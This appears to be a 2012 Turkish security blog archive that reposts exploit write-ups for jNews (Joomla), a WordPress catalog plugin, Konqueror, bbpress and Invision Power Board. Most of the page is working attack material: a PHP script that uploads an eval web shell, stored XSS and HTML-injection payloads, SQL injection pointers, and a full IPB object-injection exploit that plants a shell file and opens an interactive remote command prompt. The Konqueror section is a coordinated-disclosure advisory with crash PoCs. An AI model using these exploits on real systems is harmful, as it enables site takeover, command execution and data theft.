Archive for 01 Kasım 2012

jNews com_jnews 7.0.0 -.7.5 execute arbitrary PHP code

jNews com_jnews 7.0.0 => 7.7.5 execute arbitrary PHP code

# jNews 7.0.0 - 7.7.5 ~ Exploit [46] 
echo <<<EOT 
/   jNews 7.0.0 - 7.7.5 ~ Exploit   \ 
\           Author: Phizo           / 
$options = getopt('u:f:'); 
if(!isset($options['u'], $options['f'])) 
die("\n        Usage example: php jnews.php -u -f shell.php\n 
-u    The full path to Joomla! 
-f shell.php             The name of the file to create.\n"); 
$url     =  $options['u']; 
$file    =  $options['f']; 
$shell = "{$url}components/com_jnews/includes/openflashchart/tmp-upload-images/{$file}"; 
$url   = "{$url}components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name={$file}"; 
$data      = "<?php eval(\$_GET['cmd']); ?>"; 
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 
'Content-Type: text/plain'); 
echo "        [+] Submitting request to: {$options['u']}\n"; 
$handle = curl_init(); 
curl_setopt($handle, CURLOPT_URL, $url); 
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($handle, CURLOPT_POSTFIELDS, $data); 
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); 
$source = curl_exec($handle); 
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) 
echo "        [+] Exploit completed successfully!\n"; 
echo "        ______________________________________________\n\n        {$shell}?cmd=system('id');\n"; 
die("        [+] Exploit was unsuccessful.\n"); 

WordPress Plugin Catalog HTML Code Injection and Cross-site scripting

WordPress Plugin Catalog HTML Code Injection and Cross-site scripting XSS Açığı bulunmuş olup açık bulucunun açıklamaları şu şekilde;

Exploit Title: WordPress Plugin Catalog HTML Code Injection and Cross-site scripting 
Dork: N/A 
Author: Daniel Barragan "D4NB4R" 
Twitter: @D4NB4R 
Version: 1.1 
License: Non-Commercial 
Tested on: [Linux(Arch)-Windows(7ultimate)] 
Spider WordPress Product Catalog plugin is a convenient tool for organizing the products represented on  
your website into catalogs. Each product on the catalog is assigned with a relevant category, which makes 
it easier for the customers to search and identify the needed products within the WordPress catalog. It  
is possible to add an unlimited number of parameters for each of the categories in the catalog in order to 
allow a detailed representation of the product on the catalog. Moreover, each product on the catalog can  
be accompanied with an image. 
Vulnerable Parameter Name:  
?s_p_c_t={Random id}&product_id={Random id}&view=showproduct&page_num={Random id}&back={Random id} 
The error occurs when sending product reviews "view=showproduct" allowing the attacker  
to send code to your liking, not $_POST validate the form this code is stored in the db. 
Exploit 1:   
HTML Code Injection  
1. Select any of the products, click and give details or more 
2. Once done this post your code on the form with title "Add your comment here".  
An example of html: 
<center><marquee><h1>HTML code Injection Tested By D4NB4R</h1></marquee></center> 
http://localhost/?s_p_c_t={Random id}&product_id={Random id}&view=showproduct&page_num={Random id}&back={Random id} 
Exploit 2:  
Cross-site scripting  
1. Select any of the products, click and give details or more 
2. Once done this post your code on the form with title "Add your comment here". 
An example of possible xss:  
<script>alert("Xss by D4NB4R")</script> 
http://localhost/?s_p_c_t={Random id}&product_id={Random id}&view=showproduct&page_num={Random id}&back={Random id}молды?s_p_c_t=1342&product_id=6&view=showproduct&page_num=1&back=1 
Greetz:  All Member Inj3ct0r  Team * m1nds group (* pilot * aku * navi_terrible * dedalo * ksha 
* shine * devboot * r0073r * indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 Jago-dz * Kha&miX * T0xic 
* Ev!LsCr!pT_Dz * By Over-X *Saoucha * Cyber Sec * theblind74 * onurozkan * n2n * Meher Assel 
* L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects 
* aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * MR.SoOoFe 
* ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te  

Konqueror 4.7.3 Memory Corruption

Konqueror 4.7.3 Memory Corruption Dos/Poc

Hash: SHA256

Nth Dimension Security Advisory (NDSA20121010)
Date: 10th October 2012
Author: Tim Brown <>
URL: <> / <>
Product: Konqueror 4.7.3 <>
Vendor: KDE <>
Risk: Medium


The Konqueror web browser is vulnerable to a number of memory corruption

This advisory comes in 4 related parts:

1) The Konqueror web browser is vulnerable to type confusion leading to memory
disclosure.  The root cause of this is the same as CVE-2010-0046 reported by
Chris Rohlf which affected WebKit.

2) The Konqueror web browser is vulnerable to an out of bounds memory access
when accessing the canvas.  In this case the vulnerability was identified whilst
playing with bug #43813 from Google's Chrome repository.

3) The Konqueror web browser is vulnerable to a NULL pointer dereference leading
to a crash.

4) The Konqueror web browser is vulnerable to a "use-after-free" class flaw when
the context menu is used whilst the document DOM is being changed from within

These flaws were identified during an analysis of previously reported
vulnerabilities that affected Google's Chrome web browser.  It is believed that
only vulnerability 1 is/was common to the two code bases.

After discussions with the vendor, the following CVEs were assigned to these

1) CVE-2012-4512
2) CVE-2012-4513
3) CVE-2012-4514
4) CVE-2012-4515


Nth Dimension recommends that the vendor supplied patches should be applied:

1) a872c8a969a8bd3706253d6ba24088e4f07f3352
2) 1f8b1b034ccf1713a5d123a4c327290f86d17d53
3) 65464349951e0df9b5d80c2eb3cc7458d54923ae
4) 4f2eb356f1c23444fff2cfe0a7ae10efe303d6d8

Technical Details

1) Chris's blog post
( nicely
describes this vulnerability.

It is worth noting that due to an overlap in bugs, our pre-advisory confused
CVE-2010-4577 and CVE-2010-0046.  Red Hat's bug entry for CVE-2010-4577
references the local() CSS function, whilst their bug entry for CVE-2010-0046
references the format() function (on very similar code paths).  In the case of
Konqueror, due to a slight reordering in calls, one patch (for CVE-2012-4512)
actually fixes both the format() and local() issue.

2) There was a sign-extension in calculating the dimensions of the canvas within
scaleLoop , which lead to a miscalculated jump. According to KDE, in the case of
64-bit systems this appeared only to allow a crash to be triggered however on
32-bit systems it could lead to memory disclosure.

The following PoC can trigger the crash on vulnerable versions of Konqueror:

<canvas id="tutorial"></canvas>
<script type="text/javascript">
var canvas = document.getElementById("tutorial");
if (canvas.getContext) {
var ctx = canvas.getContext("2d");
canvas.width = 111111;

It is worth noting that unlike vulnerability 2, the code here is not shared
between WebKit and Konqueror.

3) Unfortunely I no longer have the stack trace for this crash however it can be
triggered on vulnerable versions of Konqueror using the following PoC:

<iframe name="test" src=""></iframe>
<input type=button value="test"
onclick="'javascript:alert(document.cookie)','test')" >

4) By accessing the context menu for a given iframe whilst the iframe is being
updated by the parent can lead to attempts to access no- onger existing objects.
 This may lead to a crash, or potentially code execution, depending on the state
of the process at the point the no-longer existing object is accessed.

The following PoC can trigger the crash on vulnerable versions of Konqueror:

setInterval(function () {
document.body.innerHTML = "<iframe src=about:konqueror></iframe>";
}, 300);


On 27th July 2011, Nth Dimension contacted the KDE security team to report
vulnerability 1.

On 7th November 2011, Than Ngo of Red Hat re-reports the vulnerability 1 and
Maksim Orlovich from KDE responds confirming that they have received the report
and it had been escalated to Maksim Orlovich, a KDE developer working on KHTML
to determine the impact.  A proposed patch is made available on 13th November

Nth Dimension continue to examine bugs in WebKit that have been reported to
Google and on 1st November 2011 report vulnerability 2. Maksim responds quickly
but only to confirm receipt.  There are apparently issues in reproducing
vulnerability 2.  Maksim further responds on the 6th confirming that he now has
it working and has identified the root cause.

On 2nd February 2012, Jeff Mitchell of the KDE security team requests details of
the patches in order to make the vulnerability details public.  Maksim responds
that wires were crossed and he was waiting on KDE security team and Nth
Dimension.  Patch details as above are then supplied,

On 16th February 2012, Nth Dimension report vulnerabilities 3 and 4. The KDE
security team propose rolling all 4 bugs into 1 advisory assuming that the final
2 vulnerabilities can quickly be triaged.  Maksim responds on the 20th
confirming he has them reproduced and offering possible fixes.

Between February and October, Nth Dimension hear no further updates despite
chasing the KDE security team in June.

Nth Dimension proceed to post limited details to oss-security on 10th October

Following this, representatives from Red Hat and KDE liased with Nth Dimension
to resolve the oustanding issues.  Further patches were supplied by David Faure
of KDE and tested by Jan Lieskovskyi and other members of the Red Hat security
team.  On 26th October 2012 an embargo was agreed to allow Nth Dimension and Red
Hat further time to review the supplied patch for vulnerability 4. KDE will
commit the proposed patch allowing disclosure on, or shortly after 29th October


As of the 30th October 2012, the state of the vulnerabilities is believed to be
as follows.  Patches have been applied to Konqueror which resolve all


Nth Dimension would like to thank Jeff Mitchell, Maksim Orlovich and David Faure
of KDE as well as Jan Lieskovskyi, Vincent Danen, Kurt Seifried of the Red Hat
security team for the way they worked to resolve the issues.
Version: GnuPG v1.4.12 (GNU/Linux)


WordPress bbpress Plugin Multiple Vulnerabilities

WordPress bbpress eklentisinde SQL injection açığı bulunmuş olup, açığın bulunduğu dizin ve açığın kullanımına ilişkin açık bulucunun açıklamaları;

x# Souhail Hammou - Independant Security Researcher & Penetration Tester .
# Facebook :
# Website :
# Youtube :
# E-mail   :
# Greetings to all moroccan researchers and white hats .
# Exploit Title: WordPress plugins - bbpress Multiple Vulnerabilities
# Author: Dark-Puzzle (Souhail Hammou)
# OSVDB ID : 86400 & 86399 .
# Vendor Website :  /
# Risk : Critical
# Version: All Versions
# Google Dork : N/A
# Category: Webapps/0day
# Tested on: Windows Xp Sp2 , Backtrack 5 R3 .
I - SQL Injection Vulnerability :
bbpress plugin is prone to an SQL injection Vulnerability .
In cases when you face a valid string column problem try to change syntax or instead spaces add /**/ .

Note: Automated injection can be more effective in this case.

Example :[Inject here] 

II - Full Path Disclosure Vulnerability :

The Full Path Disclosure vulnerability in bbpress is via Array .

Example :[]=12&replies=3

Error : Warning: urlencode() expects parameter 1 to be string, array given in /Full/Path/Here on line 786

III - Directory Listing Vulnerability :


Invision Power Board 3.3.4 PHP Code Execution

Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution bulunan açığa ilişkin php [sourcecode language="plain"]<?php /* ---------------------------------------------------------------- Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio Romano aka EgiX mail................: n0b0d13s[at]gmail[dot]com software link.......: +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 4015. static public function get($name) 4016. { 4017. // Check internal data first 4018. if ( isset( self::$_cookiesSet[ $name ] ) ) 4019. { 4020. return self::$_cookiesSet[ $name ]; 4021. } 4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 4023. { 4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 4025. 4026. if ( substr( $_value, 0, 2 ) == 'a:' ) 4027. { 4028. return unserialize( stripslashes( urldecode( $_value ) ) ); 4029. } The vulnerability is caused due to this method unserialize user input passed through cookies without a proper sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this reason successful exploitation of this vulnerability requires short_open_tag to be enabled. [-] Disclosure timeline: [21/10/2012] - Vulnerability discovered [23/10/2012] - Vendor notified [25/10/2012] - Patch released: [25/10/2012] - CVE number requested [29/10/2012] - Assigned CVE-2012-5692 [31/10/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set('default_socket_timeout', 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------------+"; print "\n| Invision Power Board <= 3.3.4 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /ipb/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : ''; class db_driver_mysql { public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php'); } $payload = urlencode(serialize(array(new db_driver_mysql))); $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; $packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; $packet .= "Connection: close\r\n\r\n"; http_send($host, $packet); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n"); while(1) { print "\nipb-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } [/sourcecode]